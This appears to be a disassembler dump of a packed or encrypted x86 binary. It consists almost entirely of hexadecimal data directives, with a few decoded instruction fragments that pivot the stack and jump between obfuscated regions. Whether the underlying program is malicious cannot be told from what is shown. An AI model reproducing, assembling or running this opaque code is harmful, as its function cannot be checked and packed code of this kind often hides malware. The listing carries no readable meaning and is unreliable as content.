3185h, 80858D00h, 0FF05EC87h, 11BD8BD0h, 8105E71Bh dd 1184C7h, 65B58B00h, 8705E728h, 8B9F7h, 0A4F30000h, 2865B58Bh dd 858D05E7h, 5EAA5C0h, 0B58BD0FFh, 5E70671h, 0F00FE83h dd 2285h, 0A585C600h, 5405E732h, 4EBEF468h, 99B5FFFFh dd 8D05E708h, 0EA7DA185h, 89D0FF05h, 0E7067185h, 80F08B05h dd 850FE93Eh, 3Ah, 671B58Bh, 858D05E7h, 5EC8780h, 0BD8BD0FFh dd 5E71B11h, 1184C781h, 0C7830000h, 71B58B08h, 8705E706h dd 8B9F7h, 0A4F30000h, 671B58Bh, 858D05E7h, 5EAA5C0h, 0C361D0FFh dd 3F1A858Dh, 858905EEh, 5E722E1h, 896904EBh, 0D2E93F7Fh dd 0E4000004h, 33831900h, 7CCC62C7h, 0CA1AB069h, 1565FB36h dd 94AD43E6h, 36F3082Bh, 83AE50A0h, 0CD649DEDh, 1918E737h dd 0A895AE83h, 5A8013C4h, 0C6E1664Ch, 0C2ABF839h, 3F224FB0h dd 0E41CB53Eh, 700623D8h, 552DF20h, 855DC23h, 855D426h dd 7DD42256h, 0C919AF82h, 0C63F938h, 0E33001FEh, 0FA07134Bh dd 0F301EA37h, 829D708h dd 85BD55A2h, 5FAC8579h, 5FAC7D7Dh, 61AE837Dh, 206D7BAFh dd 0BA895FADh, 52999C47h, 0FA47D86Dh, 2D7AB74Ah, 49992F95h dd 452E7BB6h, 3068C937h, 92836645h, 3FCD2F54h, 7C4CA24Ch dd 568345h, 0C62E0000h, 0C2ABF839h, 9E475B0h, 7CB4BB96h dd 921FB391h, 0CC1A7C54h, 7CB0EF99h, 1D045h, 0C67B0000h dd 8B50AB34h, 9799C3E5h, 24FB532h, 0D5B7046Ah, 0D5B70425h dd 7B9062Bh, 0CC2E05D3h, 0A491A65Dh, 549298C0h, 61C67A48h dd 5D3815FFh, 0A0F0E21Ah, 0E73CD25Fh, 0A7F435C6h, 0A7F435C5h dd 3E15E3D3h, 0A7B56CBDh, 0F38BD859h, 8679C9BBh, 697C5EABh dd 949A63B0h, 0FA791346h, 8C5A457Ch, 5000000h, 0A7F435C6h dd 42F920C5h, 1663C634h, 0A70AD730h, 74DAF0F8h, 4DB1933Ch dd 4CB597E4h, 0D4C498E5h, 0C5F97906h, 4EDB2037h, 0AE5361B8h dd 0CAF93A35h, 157B4E59h, 0FF2AD1DDh, 6AC73A48h, 0A44D851Dh dd 0A6F33EC2h, 0A7F43DC4h, 0A6F336C5h, 5825B301h, 3A2DBBC1h dd 457C4380h, 9F53CEE0h, 0ED87EF23h, 6343B5h, 0BFEE0000h dd 0D3D9BDAAh, 93615491h, 7DAC4F5Bh, 7EB34E30h, 0B1BFBC31h dd 0C762984Fh, 447C1461h, 20DB6A80h, 0BF1E7309h, 95E24FB1h dd 94E148B3h, 525E96FCh, 733481A8h, 5491D394h, 29F7E416h dd 0CC5BDD2Fh, 0E4C61379h, 0F839C817h, 4BA74592h, 0D687F0BDh dd 0C0F839C8h, 0D17BEEFCh, 0B2457CC7h, 1, 0FA1FC65Dh, 0FD34CBADh dd 60443146h, 0E85491D3h, 5739E21Ah, 6FAA3BA4h, 60D6BC09h dd 0C6D614C3h, 77BA44F4h, 7054412Ah, 0F8549204h, 9462BE2Ah dd 0B0469407h, 708B44A1h, 0D3BD53B9h, 948138A0h, 51772DC1h dd 4C2E7B49h, 5C402DB3h, 0E45A7933h, 0CA1AB016h, 3745FC35h dd 801865C4h, 0DE9F48h, 0EF5A7934h, 8395AB41h, 0D3B46AC0h dd 0ADB9F1C4h, 0F949DF52h, 0FCDE2B06h, 0DE12E03h, 8778CF1Dh dd 0A8BD14AAh, 7906D7BBh, 59915F5Ah, 9BCFC771h, 156A840h dd 0BF530000h, 0D3D9BDAAh, 93615491h, 1A82B55Bh, 85AC5563h dd 0E64D3A4Dh, 0E65176F8h, 96FC2DCEh, 99986749h, 0E54CB303h dd 0E849B698h, 1D7C79Bh, 0CE64CD32h, 9BD0F8A2h, 5BD940h dd 2C840000h, 0C9DB92E4h, 19A7EFD7h, 0F0033B2Ch, 8CFBC9DBh dd 1502378Bh, 0C8DEF2DDh, 0C7E65492h, 92C9F6DAh, 4AB07E54h dd 0C9583CFDh, 0CA265492h, 0D30C1E3Ch, 0DF32A38Ch, 1E32D810h dd 27CFE198h, 0EEEAD7B1h, 889DB0E8h, 9962857Ah, 7F22A90h dd 5491ECF3h, 85972DFBh, 0C0h, 91FB2CE8h, 0FE33CCDAh, 130CFB1h dd 6350639Bh, 5176DB0Ch, 5187748Ch, 78DC8064h, 0D43A085Ah dd 3CA9B76Eh, 13FCA5DDh, 18FCE9FEh, 0A05A78DDh, 0DC5F43D2h dd 19E75A78h, 72AD5E1h, 75BC4250h, 4FB4B3Dh, 9768762Dh dd 0FEB54D9Ah, 78DD2D11h, 0AFE7B55Ah, 0DCDC4506h, 1AE65A78h dd 0FDE8CA17h, 0F8EDCF1Ch, 8A60AE21h, 0B7C5C205h, 0EFB3EB2Eh dd 7CB54A19h, 61CBFCE6h, 9DEABDAAh, 0A4725766h, 9F0FDBEDh dd 5F747DFFh, 639C7E27h, 0DDB72980h, 0F258357Ah, 5DD42D3Bh dd 89D77C25h, 61194A73h, 0BCA972D8h, 606758D8h, 52DE9260h dd 530A7096h, 54F49366h, 15FF1B5Dh, 0D79E91Eh, 0A5FF55Bh dd 9050B1BFh, 91D3BFA3h, 13794754h, 9A0235DBh, 9423F6E3h dd 0DDAB517Fh, 0E051AE90h, 2C05FA4Ah, 601E1EDFh, 1C5073EEh dd 0A98877CEh, 0F53CC313h, 0F73AC6A8h, 0B8F22E40h, 0AEDDAC82h dd 0DA28CD76h, 0E1202E0Ch, 0F30C1850h, 0A758A83Eh, 0A993D8Ah dd 0FA000000h, 0D11E13ECh, 58F00139h, 0FB1EC613h, 0FE33CCAEh dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h dd 811D4B6h, 821D9BBh, 89526FBBh, 4C281E2h, 83000000h dd 148704EAh, 4895C24h, 29686824h, 14890000h, 0C006824h dd 34890000h, 1EBF5724h, 5705EE40h, 0EC815F5Ah, 4, 81242489h dd 42404h, 815E0000h, 4ECh, 24148900h, 46242C81h, 8F1C7566h dd 46810846h, 75664608h, 2434FF1Ch, 4C4815Eh, 0FF000000h dd 835A2434h, 0A0E904C4h, 98FFF93Bh, 4481B8E2h, 0C50305EEh dd 6775E0FFh, 0D8A03C70h, 0B6AF587Bh, 27C11FA5h, 4EB7519h dd 36F3170Ah, 51AE9h, 0F0ADA00h, 58D12979h, 0A67372C2h dd 0F140C010h, 39F00B5Bh, 0FE218AA3h, 46962CFDh, 93E379B8h dd 0DD2DC36Eh, 0A4790F22h, 18BA9E8Bh, 5C425A80h, 0F839C6D7h dd 283E2F41h, 7CA85ECEh, 42B99B44h, 0FE0151E7h, 0FB04E633h dd 21CF14ECh, 58E7D5D4h, 49327FE5h, 9282785Ch, 0CC320054h dd 0C3371966h, 33671966h, 0C0718EA5h, 0A27DA2Ah, 54DD2474h dd 0C0718F9Dh, 0F643EE10h, 9B7D265Eh, 9F81CE63h, 0A183D061h dd 9D83D059h, 1CFBCC0Bh, 4DFB3E46h, 317FF2BFh, 887785DBh dd 2A90A15Fh, 6B9545DDh, 7F828EC6h, 82E9FBB2h, 0D0CD723Bh dd 0A6D1D6C1h, 72D883FAh, 7F8483Ah, 0D6C305E0h, 549247F2h dd 0F946AC7Ah, 985AE413h, 49AF01ADh, 0F6D596E3h, 0BF5492C9h dd 32DC8F5Dh, 13457C0Ah, 50h, 0AE39C6BEh, 2976DC4Dh, 91D38A68h dd 94A25354h, 0A7827966h, 0B7450941h, 7CFC1AC4h, 1FB45h dd 0C6A60000h, 303EF534h, 7E1663CEh, 101B7CCAh, 0ED252427h dd 91986244h, 939E6244h, 8A609446h, 33EA3FBBh, 653D625h dd 0F444366Eh, 3B90260Bh, 0A7F435C6h, 3DF435C5h, 0E817D02Fh dd 0FE64FC49h, 756219B1h, 5491D391h, 6A134B19h, 150A696h dd 49992FFAh, 452E7BB6h, 1865C437h, 0A93C4880h, 545A2370h dd 0FA39D386h, 891A457Ch, 0C5000000h, 0A7F435C6h, 0ACF920C5h dd 1A30C6FAh, 0D4341805h, 0EEBC5491h, 0D851AAB6h, 91030F21h dd 55E9A1F3h, 0E99DCABFh, 0BD41FE49h, 0C75A0E74h, 0E22DB7F5h dd 0B505F72Fh, 1E2CE346h, 6C154DDCh, 85C6E83h, 0CA03FCFCh dd 10CEB241h, 3E565492h, 0CE066CBDh, 3CF33EC2h, 2A62B72Eh dd 24B2B881h, 7CC79731h, 4C7845h, 0C6230000h, 2F3DF435h dd 36AF5FD2h, 2002ABE3h, 8E0350E1h, 22340AE0h, 2A9EC9EEh dd 0E4F02820h, 277C1217h, 0B7A434C6h, 5491D3D3h, 0D3856956h dd 3F0D5491h, 0A58C758Dh, 0CB8CD93Fh, 5491D3ECh, 0D28553B5h dd 457CFC28h, 109h, 1FC6B400h, 92DF4AB0h, 654794FAh, 0A54A979Ah dd 2EEBFA08h, 3100FFE1h, 0AEE64CE4h, 0A0451CEAh, 4BB4C279h dd 0C90199E6h, 8BAEDD7h, 57EF3CDDh, 17253AF1h, 16FC49E8h dd 0C9B609C6h, 6DA50BD0h, 7723AF82h, 1C693751h, 0D66CC53Ah dd 528E717Fh, 79298165h, 0D53B095Ah, 796E919Dh, 0FA47AD6Ch dd 79295B39h, 4E9C4A5Ah, 932908F7h, 1224BC43h, 4510297Ch dd 14F887DEh, 9C5A78FDh, 391B68CEh, 4A1E6BC6h, 4AB58C5Ah dd 6AD0619Dh, 8F6F7DD4h, 85BD55A2h, 9BD5F39Dh, 127D440h dd 2C7F0000h, 0EDDA91FBh, 5176F986h, 896BB886h, 0EF04BB76h dd 79001E02h, 0A0D8A65Ah, 90A15EAEh, 939E6143h, 979A6446h dd 9693684Ah, 8F736049h, 175A78FFh, 7288D649h, 4D9B8B2Dh dd 1CDE09F6h, 0A5F237C3h, 0C25AA70Dh, 0F09AC65Ch, 30409BD0h dd 27C0571Eh, 0A8E02DE2h, 3436h, 0E42CE100h, 0DAEEDB92h dd 0E25491D3h, 0D4F2D6C3h, 627A5491h, 0AE46939Eh, 0D495E248h dd 5491D4F0h, 239462BEh, 0E5D289EFh, 5491D4D1h, 63750BD9h dd 99h, 4FB1BFC6h, 0C5FD95E2h, 0CD84F41Fh, 76DB89E0h, 0FDEA0951h dd 5A78DE19h, 206DD3A1h, 0BD52937h, 78DE3A1Eh, 8EF4C25Ah dd 6571A941h, 0AA01979Ah, 92CA5F9Ch, 7A677986h, 5A78DD96h dd 9DEA501Eh, 78DE73DCh, 0AE3CEA5Ah, 33C96897h, 217CEDCh dd 0A3B7D34Eh, 8408402h, 10C73162h, 670A4E23h, 3FBBC957h dd 8CC8AC99h, 82506067h, 0FF37CF1Ch, 0F4D623F1h, 616F260Bh dd 0B35C949Dh, 812AC00Eh, 0CD649C56h, 0AE9BB067h, 60678CCAh dd 394C8452h, 554F774Ch, 9329F75Dh, 91FB2C3Eh, 9718EDDAh dd 0CA98517Fh, 0CD649B7Dh, 1918E737h, 0D4AC0BCCh, 2A5E6D7Ah dd 6D7A85DCh, 0B74F9C8Dh, 0ED3AF707h, 259EF55h, 0DA270AF4h dd 1FE0A42h, 0FF01E330h, 0F240E532h, 443146E4h, 8D9D7660h dd 15661AE8h, 0CF3CE969h, 25DAE61Eh, 0A1F760Ch, 9D0C391Dh dd 3CF3C18Dh, 9D0B6B4Fh, 0ED25F38Dh, 5C131EE1h, 11B67D4Ah dd 568E934Ch, 0C2AFC4ADh, 8D9D37DEh, 92609866h, 3, 0C61358F5h dd 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh, 0D3B50227h dd 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h, 4EC81h dd 8F540000h, 4812404h, 424h, 4B0D6800h, 2C890000h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 68243C89h, 5250h, 68241489h dd 7CD3C5Dh, 6E2C15Ah, 0D22CEA81h, 0D589ED60h, 3C8B545Ah dd 4C48124h, 53000000h, 24348155h, 47E01C0Ah, 0AF3815Bh dd 8947E01Ch, 0FF5B085Fh, 815F2434h, 4C4h, 242C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- dd 25DF5F57h, 0B84A0D15h, 5EE499Fh, 0E0FFC503h, 300E4A81h dd 51004E52h, 5067759Ah, 2CF39651h, 6DA5FF73h, 40F903B1h dd 4B528B27h, 4E7BE2ACh, 160140FDh, 64F76878h, 32522687h dd 10EC3856h, 6D082D56h, 0E7DEC97h, 4C92B02Eh, 3FFC5655h dd 7BA17961h, 473AE12h, 2BB1FDD2h, 4397543Bh, 5FD1BDB7h dd 4B398D8Dh, 6A05EEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0C98CA7C3h, 9E957h, 0A42F0000h dd 0A4DC05C8h, 5F872927h, 1AA98D89h, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7FFDDDC3h dd 4016FE56h, 2A4D85C7h, 62F005E7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C74FC3h dd 5E72739h, 0 dd 2A29B5FFh, 890F05E7h, 3, 0FF60F480h, 0E7179595h, 0B99D3305h dd 6A05E728h, 0C195FF00h, 8B05E721h, 8A28EBC0h, 0F206EA6Eh dd 0D5AD10DBh, 20F6D7BFh, 0D46B2314h, 0CC09F971h, 8AA3AF12h dd 0E4AC205Eh, 3C8F790Eh, 0FF550410h, 0EB854D4Fh, 0A9003E04h dd 0D34E93Bh, 33680000h, 0E905EE4Dh, 0FFF93513h, 0EE4E6168h dd 3509E905h, 9768FFF9h, 0E905EE50h, 0FFF934FFh, 0EE518C68h dd 34F5E905h, 0EE68FFF9h, 0E905EE54h, 0FFF934EBh, 0EE563D68h dd 34E1E905h, 1968FFF9h, 0E905EE57h, 0FFF934D7h, 1CB2677Dh dd 65FB2ECCh, 0B349D015h, 0FE949D63h, 46DC4DAEh, 5AA1C42Dh dd 15E939CFh, 0CB36861Ch, 7F80D066h, 2E471CB2h, 801E5D41h dd 7AFFE55Ah, 934DB1BFh, 91D3C2A6h, 167C4A54h, 0B32DD2DEh dd 91D3E2C6h, 369C6A54h, 0EBF807E9h, 0DD84BEF0h, 5B48FF24h dd 5492A677h, 7ECB31FFh, 7FCC659Ch, 0E77E8CDAh, 1885CB18h dd 267A2479h, 0C5D32AC0h, 0B4C0F839h, 0FC4CE247h, 0FFE12E03h dd 1BFEE700h, 2351FB5h, 97F6E39Ah, 1751776Dh, 5B3BFC49h dd 0DD5A796Dh, 0E2C41108h, 1FC41118h, 0DF763BD1h, 1F2D03D9h dd 6D0552DFh, 62A34D35h, 2F84409Bh, 2F000000h, 0B443FB2Ch dd 0DD4A48E6h, 566B2288h, 0CF2FB848h, 0D9C4FC62h, 51772612h dd 0B677C492h, 5A7925D6h, 0EA9D6B71h, 409BAE40h, 0E221h dd 39C6CC00h, 32C9ABF8h, 27DE53ADh, 91D3563Ah, 0AA10DE54h dd 725F745Dh, 5491D38Eh, 4104816h, 0E936FBh, 0D32009F2h dd 8F7033Bh, 0DE607229h, 0AC4AEA7h, 0D0E4C8B5h, 9E6C5492h dd 0DF0E0038h, 5492D556h, 0B2489F60h, 2C922A77h, 78B94696h dd 1484AF2Bh, 0C53A485Dh, 5E49346Ch, 665177D9h, 0EF180298h dd 8CD9C67Dh, 0C57606Eh, 0E1D72DF0h, 0A75E127Ch, 63B8D6BAh dd 2A905E60h, 93966573h, 217CEDCh, 0F3E51DB5h, 0BF728E9Ch dd 0A9807B87h, 5DBF685h, 0D17552DFh, 0AC8h, 982EEBF9h dd 0E177B248h, 2FC55491h, 7A1021DFh, 0C258D12Ah, 0DE1D40A9h dd 9965B54Bh, 4FB20298h, 3FC4CE2h, 0AAC3982Eh, 8020D9BDh dd 0F67B615Ah, 0CB43ADBFh, 0B7489533h, 0A188737Fh, 55A6B40Bh dd 6F909CD4h, 2CD72CC2h, 0CCDA91FBh, 0B1C4FC35h, 76FBFDC4h dd 80657D51h, 1C82AF4Fh, 0C8A869B6h, 635A78FBh, 9CB18F5Dh dd 73C0718Eh, 0FB684CDBh, 22F05A78h, 0D45802EAh, 0FD39409Bh dd 0E2000000h, 7FCE0CDh, 0B6845A79h, 0ADBF6D7Eh, 0E16064ACh dd 9FABE3C8h, 0D2478360h, 0B6719437h, 0DA210350h, 0B841024Fh dd 0C254925Dh, 75EF43Dh, 0A7B9D7F5h, 0F028C12Ah, 5F161BE4h dd 0D383AE51h, 1DB50227h, 45533CE5h, 8F2774B5h, 0CC86B157h dd 0E74AB532h, 0E59C029Ah, 920A14F8h, 68CE9C54h, 0DD9C4B1h dd 13E15177h, 0AA60937Dh, 0BB8D19F9h, 7C339962h, 5FF8318Fh dd 0A592B157h, 606319C1h, 4CC77B49h, 6EFC4068h, 0B3C178DEh dd 0FB4BE148h, 7EBD800h, 9160636Dh, 0DC74C170h, 0EDAF0E2Ah dd 0BEE49C5Fh, 0B7CEF258h, 7DF06ADh, 99A862Ah, 0BD270000h dd 8476C65Ch, 26BF0FA5h, 0F30D5DF3h, 0A358A83Eh, 6ED7F086h dd 0E379B04Bh, 30C66B93h, 7A1021E0h, 0C65CD52Ah, 7EBD8F1h dd 8F5A8022h, 0ADBF24A9h, 7F862AF6h, 19255D3Dh, 829047E2h dd 0D7576378h, 0DDEDFF27h, 0FD4D3F77h, 44992F02h, 53AE39C6h dd 93F991DEh, 4C9B6446h, 4C327FB2h, 374960B5h, 49AF15E6h dd 0E4A484B3h, 0D9265491h, 3A8FA158h, 0F6DAC7E9h, 7E5491F1h dd 180BFCB0h, 0CF1F1149h, 1530B330h, 1A8D38C4h, 7A8567B4h dd 0DF200B7h, 73FD724h, 3D4B8A5Eh, 743870C1h, 130CF66h dd 86953F6Bh, 0D876457Ch, 21000000h, 0DA91FB2Ch, 76C7CAEDh dd 26BFCD51h, 95ADBBF3h, 0B1807F50h, 8112974Bh, 0C9508BE2h dd 1F2D1663h, 59A252DFh, 0B3EB83D0h, 797AE8C8h, 6F7D835Ah dd 9B5F52FCh, 9D3340h, 0E7DE0000h, 5491D408h, 365A7183h dd 8C884E2Ah, 1385AE54h, 81B04E5Ch, 51649C34h, 774A6164h dd 5D4A6951h, 5A796A79h, 8436FB03h, 63BA50B6h, 3784A555h dd 0A05B679Fh, 0C4A6373Bh, 7924F3D7h, 0F9AD7B5Ah, 77DD0DFFh dd 0C285AE2Ah, 79CDF1D5h, 0A9807B5Ah, 4412C45Ch, 0B33A27DEh dd 0AE575EC9h, 63815AA0h, 3E313EDh, 35437BE1h, 8081D167h dd 30969367h, 0CC3C67E3h, 0F0F70715h, 3AD21F0Ah, 9C899CD4h dd 5D46E5E9h, 0B60DA371h, 5986A5A4h, 23D7C323h, 0BB21B906h dd 539B583h, 2C180000h, 0EDDA91FBh, 5176D80Eh, 0B273C08Eh dd 5A78D7D2h, 0E691676Dh, 409BFC3Ch, 51A1Dh, 0E9B4C600h dd 0DBEC9DF8h, 57A5B6EEh, 44FE2925h, 8E2673B6h, 41847128h dd 0C45176E2h, 6DEC2AFh, 7D685A79h, 5B74F9Ch, 0D9F1FF37h dd 35A20821h, 28347A8Ch, 49FD34CCh, 0D3270E53h, 0C140F056h dd 0C44D3870h, 34033CDCh, 0CDE29903h, 0A1EE3BBFh, 8CA55909h dd 22866954h, 400E0124h, 924C77F3h, 0A45BC168h, 0A33DD392h dd 7CB4E096h, 0C63D7C69h, 0EFBD070Fh, 5CD52A38h, 0CB4E97A5h dd 0B7F5C717h, 96CEC48Ch, 86AB54A4h, 598E2D62h, 0C468452Fh dd 764h, 0FC92875Dh, 45DB4EACh, 9329F0F5h, 0DE74BD43h dd 26BC6D8Eh, 7A81A40Dh, 35C919AFh, 0EB1666FCh, 9F60B046h dd 0E27FC92h, 80243D21h, 5ADFC55Ah, 8EAA39C6h, 39E27EFDh dd 7DCA4F96h, 0CC197FE5h, 0B729D5E3h, 92A1E6CAh, 3AA06E54h dd 40A555EDh, 0C8FBA1D9h, 99BCA960h, 0A15177A8h, 0F30E1CD3h dd 8572873Eh, 5A79AAA1h, 0AA533724h, 0DDB5A79h, 63558D5Bh dd 0F643EE13h, 79AA5135h, 9B1CFC5Ah, 0D3045A79h, 0EEC5B269h dd 6E575EB2h, 0B29253A0h, 4D6060D2h, 1C15EAF8h, 519E936Ch dd 2FBD81B9h, 0B203923Ch, 2F734Eh, 2C1E0000h, 75B447FBh dd 0ECD99028h, 5491D408h, 0A55CC290h, 0D3BFA390h, 0B1495491h dd 0E1932B78h, 0DBC8DB13h, 5176D230h, 0F99DEAB8h, 0Eh dd 91FB2C5Ch, 0C0D2EDDAh, 0CDA5176h, 39C6D8BFh, 0C0C5D4F8h dd 0D0ADEAD7h, 66F2Ch, 87925200h, 0D059A1F1h, 1EFBEA3Ah dd 69C83888h, 0B17883D3h, 7699021Bh, 0BE0EA485h, 0B5BF140h dd 55A53BF6h, 1CF187AAh, 25321603h, 0D4BA5A80h, 91FB2C4Fh dd 0D1EEEDDAh, 0D6EE5176h, 529F0524h, 35548F70h, 3F1FC9BFh dd 0BE738D3Dh, 0DD73D971h, 0C2B24FAEh, 9D133779h, 82EA1D07h dd 57A8B6CBh, 9CB7A2DAh, 0A47EA9C3h, 0F0111FD6h, 7E600941h dd 959C637Ch, 0B44AB048h, 782F99CAh, 90E1B48Bh, 2A183484h dd 4525DAA9h, 0C41108DDh, 1360C62Ch, 93857252h, 0F1070D8Dh dd 7D4ADC86h, 16EBD7Ch, 0BF680000h, 0D3D9BDAAh, 93615491h dd 1A82B55Bh, 32A65563h, 91D36145h, 0B51BE954h, 8598D068h dd 76D19998h, 7ECB9951h, 38CE639Ch, 631A17E8h, 3A87AA55h dd 0C16AA2h, 79C1ECA1h, 855DC23h, 956DB26h, 0EB57DA27h dd 0B434798Fh, 0BDC2331h, 59F13EF3h, 0D60EA6F3h, 926DC412h dd 70D6E89Fh, 6F98043Ah, 409082BAh, 642572BFh, 0A10D8205h dd 6CB97887h, 6CB9708Ah, 352A898h, 5BCE34FDh, 4C61FF0Dh dd 0FA57B5Fh, 1BE703A9h, 0D073EB13h, 0A7B3EB51h, 0F343D958h dd 0EFD8250Ch, 0FB09EDDAh, 6793A90Eh, 2BDD75C2h, 567F255Dh dd 7A3E2BE2h, 2A90EFAh, 39479E34h, 0EEB66AC7h, 0C9689ED6h dd 5B8C326Ah, 724D3AF1h, 0F5A5F43Ah, 0CE1BFEE7h, 22F0FE36h dd 250CF3D5h, 0D42A388Fh, 0D5B9A65Dh, 5DAEF640h, 0B44B578Fh dd 0A36F307Dh dd 6AAEF640h, 8877CE1Ch, 298FA25Fh, 59226493h, 97A57B2Ah dd 0E37BC869h, 1AD16A2Fh, 2E661464h, 60A04088h, 0C681141Ah dd 41E813C3h, 60F65CF4h, 8B42EF10h, 78B0817Dh, 0A7DA0ECFh dd 6094A18Eh, 9F44BB8Ah, 0D3A5EBD1h, 88F9A39Ch, 6DA06F8Dh dd 0D8EAA107h, 1CAB83Ah, 0F9F5FEh, 1107338Dh, 2A8173ABh dd 0A050C91Ch, 8A96CE5Bh, 0F36FBC75h, 0B4A158C0h, 0A676B6E9h dd 87A25971h, 4D798B21h, 0DC000000h, 9249B1BFh, 7DC74C37h dd 0C1F95F30h, 0C980E81Bh, 779931DCh, 9EEBB951h, 55EB3EBCh dd 1E0BF0FEh, 0F10139D1h, 12433825h, 408DA45Ch, 9E8B42A8h dd 5A79A2C2h, 69C83745h, 0A2E1C5B2h, 9B695A79h, 1875563h dd 0AF827C8Ah, 8192CA62h, 62F839C6h, 26DD4F78h, 0FE4BE618h dd 61B2E66h, 0DC2908F8h, 89B6F5F6h, 83E9FBEBh, 0B6032ED3h dd 80FBE61Eh, 885176E6h, 0CF503BAh, 0CCDAED25h, 1666FC35h dd 2C05FCEBh, 2AE147DFh, 0E95F1118h, 33CB1811h, 0AF4AAD7Fh dd 0D7E5CE77h, 2BD10928h, 0ECD990F8h, 575E97C9h, 374C03D1h dd 609A664Ah, 0ED2EE60h, 0DCF9FE5Eh, 943D75DBh, 5FEEF3D3h dd 40A8DB60h, 725F7489h, 60600E8Eh, 25104816h, 5D45064Eh dd 344900CEh, 47266347h, 0E51DEB66h, 269B7B3Ch, 30366647h dd 0AF05AFDAh, 34E654C9h, 91000000h, 0DA91FB2Ch, 0C0AD33CCh dd 5491D3DCh, 79309664h, 91D3A88Ch, 2A623054h, 0D17F2A17h dd 0F4025176h, 3ED62306h, 70BD6C8Eh, 0C492A0D8h, 22D377h dd 2C360000h, 0CCCA43FBh, 20D822BAh, 0F0F503BAh, 307EBD8h dd 0C18F5492h, 2310235Bh, 5176F008h, 0EF54210h, 0D4F839C6h dd 0EAD7C0CFh, 0D1ABE9Bh, 0B4000003h, 353E930h, 4C9C32F7h dd 9AEA8099h, 0E535CB66h, 647D1316h, 623D8FBh, 53DE2070h dd 9D946DBDh, 0E948B707h, 78657E53h, 5A802794h, 0C6B1361Ch dd 0C2ABF839h, 0B429C0B0h, 0C80008C2h, 0B09D43BCh, 5492D2CCh dd 8A208654h, 4E0577A0h, 77DF0261h, 0FDB48251h, 2CD512EFh dd 0BA20B805h, 3818D982h, 0D35A79DFh, 13213FCDh, 2D04FAEDh dd 0AAE248E0h, 94F318C2h, 50F940h, 90A20000h, 3F7CD03h dd 0F1D67226h, 2CABBCF4h, 0C8DA91FBh, 1E7B228Bh, 0F1043C29h dd 77DA3D04h, 0A2EFBD51h, 79DA01E1h, 32479C5Ah, 79D96145h dd 0DDCAE95Ah, 5A79D9F9h, 154DB381h, 26D0BB51h, 74094FAh dd 0D0h, 8B929EB0h, 0B97C962h, 39C6C2D3h, 32C9ABF8h, 0AFC1AAF7h dd 0FD38AA44h, 9BA7DFB3h, 9780CD64h, 6BB87189h, 708F9BD3h dd 0C6D42BC1h, 9F46F63Bh, 5D952D7Ah, 921BE972h, 0DB0CF354h dd 12A80E23h, 0A7F43DC2h, 0E34EB0BEh, 6AD205ABh, 0DD3C6B3h dd 0BCDB5177h, 93E051AEh, 34886CFBh, 1E0B5A79h, 5A79353Ah dd 7442F4C2h, 658E780Eh, 0E94F3CF3h, 0E9575FC8h, 0A556641Bh dd 8997EE84h, 7884BC75h, 2B82A683h, 83DF06ABh, 1BE02A6h dd 0E1030000h, 0A852A238h, 4A9BEB81h, 17E939CFh, 0C734841Ah dd 4AB3CC62h, 0BF55D427h, 0CA28F6Fh, 56EC45BCh, 0A238F906h dd 0E3C7B4CDh, 6B5A8029h, 0ADBF0085h, 0DE5EDAAEh, 0B8C4FCB6h dd 50E643h, 479C32FFh, 0DA91FB2Ch, 76FC26EDh, 6C93A151h dd 0A8E078C5h, 0BE7FCC9Ah, 5A78FBDEh, 0C7657379h, 0A0ED2CB9h dd 87A25808h, 826AA23Ah, 409BD4D8h, 0A2B9h, 39C66400h dd 32C9ABF8h, 60E9AAF7h, 6A5491D8h, 0B6069C95h, 2331E849h dd 731C54DDh, 0D30ECCF7h, 651FA361h, 3320D73Dh, 51775640h dd 0B1C37A48h, 0EE7F968Fh, 0C2B4EC1Fh, 863DAFD8h, 59A68378h dd 897689C1h, 57604B44h, 0DC55ACC4h, 1BD9A98Fh, 44F606ADh dd 0B3C178DEh, 0FB4BE148h, 0B2052900h, 0FEDF06C0h, 0E27D21h dd 5DF0000h, 0CC2E7E14h, 6E77C75Dh, 3BC515ABh, 0EB1060F6h dd 268FA83Eh, 9B31F803h, 0E87EB34Bh, 32C86998h, 7E141DE2h dd 0BFA390A9h, 475A802Ah, 35C6DC61h, 0F10E5EF4h, 0C655AA40h dd 0C9ABF839h, 3644FB36h, 4FDA20AFh, 0B7046A02h, 0BF5E71Fh dd 58D926D8h, 564E3BF2h, 56517F98h, 0A6593B88h, 5AA5F58Bh dd 59C98AD7h, 5B70C4D7h, 5B3D8A9Fh, 0A13F8CA5h, 6AEAB745h dd 758AA036h, 0C777A488h, 0EA142C98h, 9DA9E147h, 618CF62h dd 32DE192Eh, 0E6D810BCh, 7BC86996h, 0B77A8492h, 0A48D737Fh dd 7EBD8EDh, 8F98C71Fh, 58A58477h, 79225AC0h, 0E17086D4h dd 2D7D131Eh, 85E211D2h, 0E4461792h, 0C78513F7h, 67CD9B98h dd 0B9CBB401h, 0F1A786D7h, 0CD9BD355h, 0Ch, 0E6ADBF30h dd 50B2960Ah, 99DE5890h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh dd 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h dd 0BB0821D9h, 0E189516Fh, 4C181h, 0E9830000h, 240C8704h dd 5124248Bh, 0C181E189h, 4, 8704E983h, 895C240Ch, 8E68240Ch dd 8900001Fh, 0BD552434h, 5EE4BB7h, 835D5955h, 248904ECh dd 24048324h, 53525E04h, 0A23165BBh, 316DBA6Ah, 0DA296AA2h dd 89F2015Bh, 348B5A0Ah, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 2434FF5Ch, 4C48159h, 0E9000000h, 0FFF927F7h dd 343FDAA3h, 74F4EC97h, 88F071ADh, 20B89B66h, 305EE58h dd 7E0FFC5h, 4D12C625h, 0CD0C52A3h, 0BC4C44CDh, 192EDE3Ch dd 0D70BDAF4h, 0E0706233h, 99110FBEh, 0EB667F40h, 0D4979B04h dd 